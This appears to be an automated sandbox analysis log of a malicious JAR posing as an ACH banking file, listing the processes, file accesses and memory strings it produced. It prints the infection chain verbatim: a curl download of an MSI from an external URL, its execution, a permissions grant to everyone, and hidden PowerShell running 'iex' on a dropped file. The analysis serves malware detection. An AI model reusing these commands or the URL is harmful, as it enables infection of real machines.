Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5388	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4460	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 375	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2876

Thread sleep time: -12912720851596678s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Source: java.exe, 00000002.00000002.1427597441.000000000068B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlljK!
Source: java.exe, 00000002.00000003.1264158753.0000000014759000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: java.exe, 00000002.00000003.1264158753.0000000014759000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: java.exe, 00000002.00000002.1427597441.000000000068B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Ljava/lang/VirtualMachineError;
Source: java.exe, 00000002.00000003.1264158753.0000000014759000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: org/omg/CORBA/OMGVMCID.classPK
Source: java.exe, 00000002.00000002.1427597441.000000000068B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cjava/lang/VirtualMachineError
Source: PING.EXE, 0000001F.00000002.1640568380.000001D62D459000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll::vZP
Source: java.exe, 00000002.00000003.1264158753.0000000014759000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: java/lang/VirtualMachineError.classPK
Source: PING.EXE, 00000031.00000002.2146890902.0000026CC4E99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll::^MP
Source: curl.exe, 0000000B.00000003.1286525606.0000000002C80000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000001C.00000002.1529112402.000001BED1657000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000001D.00000002.1565163415.000001279D1D7000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000001E.00000002.1605666574.00000268EED09000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000023.00000002.1775006042.000002107DCC8000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000002E.00000002.2044354856.0000022443B48000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000002F.00000002.2078440727.0000012922477000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000030.00000002.2114639207.00000226958F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: PING.EXE, 00000019.00000002.1497042027.0000016ED4A69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllbb
Source: PING.EXE, 00000020.00000002.1672705320.000001B43FE89000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000002C.00000002.1976924103.000002951E7C9000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000002D.00000002.2008985014.00000229135A9000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000032.00000002.2181752430.000002111F269000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll::
Source: PING.EXE, 00000021.00000002.1707700148.00000272D2D27000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000022.00000002.1740041592.0000020C097F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllII
Source: PING.EXE, 00000025.00000002.1807475146.000001F4A84E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJJ
Source: PING.EXE, 00000026.00000002.1842548242.0000019B6E4B9000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000028.00000002.1909390737.000002D622F09000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll{{
Source: PING.EXE, 00000027.00000002.1874683368.000001475CEC7000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 0000002B.00000002.1942023468.0000016F6D327000.00000004.00000020.00020000.00000000.sdmp, PING.EXE, 00000033.00000002.2213978057.00000249D0F47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllWW

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\cmd.exe "cmd" /c start /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') | out-string)"

Jump to behavior

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Memory protected: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe "C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar"	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c C:\downloads\aHPCrYM1.msi	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\downloads\aHPCrYM1.msi"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') \| out-string)"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Code function: 2_2_021B03C0 cpuid

2_2_021B03C0

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\client\jvm.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\hsperfdata_user\6152 VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\resources.jar VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\rt.jar VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\jsse.jar VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\jce.jar VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\charsets.jar VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
